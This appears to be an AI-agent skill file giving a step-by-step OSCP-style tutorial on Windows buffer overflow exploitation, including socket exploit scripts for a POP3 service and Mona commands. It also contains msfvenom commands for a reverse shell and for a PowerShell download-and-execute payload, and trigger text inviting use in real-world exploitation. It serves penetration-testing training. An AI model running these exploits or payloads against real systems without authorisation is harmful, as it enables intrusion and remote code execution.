Hacktricks-skills windows-buffer-overflow-exploit

How to develop and execute Windows buffer overflow exploits at OSCP level. Use this skill whenever the user mentions Windows exploitation, buffer overflow, service exploitation, Immunity Debugger, Mona, shellcode, EIP overwrite, JMP ESP, or any Windows vulnerability research. Trigger for OSCP practice, CTF challenges, or real-world Windows service exploitation scenarios.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl/SKILL.MD
source content

Windows Buffer Overflow Exploitation

A complete workflow for developing Windows buffer overflow exploits, from initial crash to working shellcode delivery.

Workflow Overview

  1. Initial crash - Send oversized buffer to find vulnerability
  2. Offset calculation - Use pattern to find exact EIP overwrite point
  3. Bad character analysis - Identify which bytes can't be used in shellcode
  4. JMP ESP search - Find reliable return address in memory
  5. Shellcode generation - Create payload avoiding bad characters
  6. Final exploit - Combine all components for reliable code execution

Step 1: Initial Crash Test

Start by sending a large buffer to crash the service and confirm vulnerability.

#!/usr/bin/env python3
"""Basic crash test template"""
import socket

def test_crash(target_ip, target_port, buffer_size=2700):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    buffer = 'A' * buffer_size
    
    try:
        print(f"[*] Connecting to {target_ip}:{target_port}")
        s.connect((target_ip, target_port))
        data = s.recv(1024)
        
        # Adjust protocol commands based on service type
        # For POP3 (SLMail example):
        s.send(b'USER username\r\n')
        data = s.recv(1024)
        s.send(b'PASS ' + buffer.encode() + b'\r\n')
        
        print("[*] Buffer sent - check for crash")
    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        s.close()

if __name__ == "__main__":
    test_crash('10.11.25.153', 110)

Key points:

  • Restart the service after each crash (
    net start <service_name>
    )
  • Attach Immunity Debugger to the process before sending exploit
  • Check if EIP is overwritten (indicates controllable crash)

Step 2: Calculate Exact Offset

Use Metasploit's pattern tools to find the exact offset where EIP is overwritten.

# Generate unique pattern (match buffer size from crash test)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

# After crash, find offset from EIP value
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q <EIP_VALUE>

Verify the offset:

# If offset is 2606, test with:
buffer = 'A' * 2606 + 'BBBB' + 'CCCC'

In Immunity Debugger, EIP should show

0x42424242
(BBBB in hex).

Step 3: Check Shellcode Space

Determine how much space is available for shellcode on the stack.

# Test with padding after EIP overwrite
buffer = 'A' * 2606 + 'BBBB' + 'C' * 600

In Immunity Debugger:

  1. Check EBP register value after crash
  2. Calculate space:
    EBP_address - shellcode_start_address
  3. Typical useful space: 400-600 bytes

Step 4: Identify Bad Characters

Bad characters are bytes that get filtered or cause issues during transmission.

badchars = (
    "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
    "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
    "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
    "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
    "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
    "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
    "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
    "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
    "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
    "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
    "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
    "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
    "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
    "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A' * 2606 + 'BBBB' + badchars

Common bad characters:

  • \x00
    - null terminator (almost always bad)
  • \x0a
    - line feed (LF)
  • \x0d
    - carriage return (CR)
  • \x20
    - space (sometimes)

Compare memory dump in Immunity Debugger to identify which bytes are missing.

Step 5: Find JMP ESP Address

Use Mona to find a reliable return address that jumps to ESP.

# List modules and find suitable DLL
!mona modules

# Look for DLLs with:
# - Rebase: False
# - SafeSEH: False  
# - ASLR: False
# - NXCompat: False
# - OS Dll: True (preferred for stability)

# Search for JMP ESP (\xff\xe4) in target DLL
!mona find -s "\xff\xe4" -m <dll_name>

# Choose address without bad characters
# Example: 0x5f4a358f -> \x8f\x35\x4a\x5f (little endian)

Step 6: Generate Shellcode

Use msfvenom to create shellcode avoiding bad characters.

# Reverse TCP shell
msfvenom -p windows/shell_reverse_tcp \
  LHOST=<attacker_ip> LPORT=<port> \
  -f python -b '\x00\x0a\x0d' \
  EXITFUNC=thread -e x86/shikata_ga_nai

# Execute command
msfvenom -p windows/exec \
  CMD="<command>" \
  -f python -b '\x00\x0a\x0d'

# PowerShell download (for Nishang, Empire, etc.)
msfvenom -a x86 --platform Windows \
  -p windows/exec \
  CMD="powershell \"IEX(New-Object Net.WebClient).downloadString('http://<ip>/payload.ps1')\"" \
  -f python -b '\x00\x0a\x0d'

Important: Add NOP sled (

\x90
bytes) before shellcode for reliability.

Step 7: Final Exploit Assembly

Combine all components into working exploit.

#!/usr/bin/env python3
"""Final Windows buffer overflow exploit"""
import socket

def exploit(target_ip, target_port, offset, return_addr, shellcode, nop_size=8):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    # Buffer structure: [padding][return_addr][nop_sled][shellcode]
    buffer = ('A' * offset) + return_addr + (b"\x90" * nop_size) + shellcode
    
    try:
        print(f"[*] Exploiting {target_ip}:{target_port}")
        s.connect((target_ip, target_port))
        data = s.recv(1024)
        
        # Protocol-specific commands (adjust for target service)
        s.send(b'USER username\r\n')
        data = s.recv(1024)
        s.send(b'PASS ' + buffer + b'\r\n')
        
        print("[*] Exploit sent - check for shell")
    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        s.close()

if __name__ == "__main__":
    # Configuration
    TARGET_IP = "10.11.25.153"
    TARGET_PORT = 110
    OFFSET = 2606
    RETURN_ADDR = b"\x8f\x35\x4a\x5f"  # JMP ESP (little endian)
    
    # Shellcode from msfvenom (example placeholder)
    SHELLCODE = b"\x90" * 100  # Replace with actual shellcode
    
    exploit(TARGET_IP, TARGET_PORT, OFFSET, RETURN_ADDR, SHELLCODE)

Debugging Checklist

When exploit doesn't work:

  1. Verify offset - EIP should be exactly overwritten
  2. Check bad characters - Ensure return address doesn't contain them
  3. Shellcode integrity - Compare generated vs. memory dump
  4. NOP sled size - Increase if needed (try 16-32 bytes)
  5. Service restart - Always restart between attempts
  6. Try different shellcode - Regenerate with different encoder

Immunity Debugger Setup

Options >> Appearance >> Fonts
- Font: Consolas
- Style: Bold
- Size: 9

Attach to process:

  1. File >> Attach
  2. Select target process
  3. Press START button

Common Service Protocols

Adjust exploit commands based on target service:

ServicePortCommand Format
POP3110USER\r\n, PASS\r\n
FTP21USER\r\n, PASS\r\n
SMTP25MAIL FROM:\r\n
HTTP80POST /path HTTP/1.1\r\n

Safety Notes

  • Only test on systems you own or have explicit permission to test
  • Buffer overflows can cause system instability
  • Always have backups before testing on production systems
  • Document all findings for responsible disclosure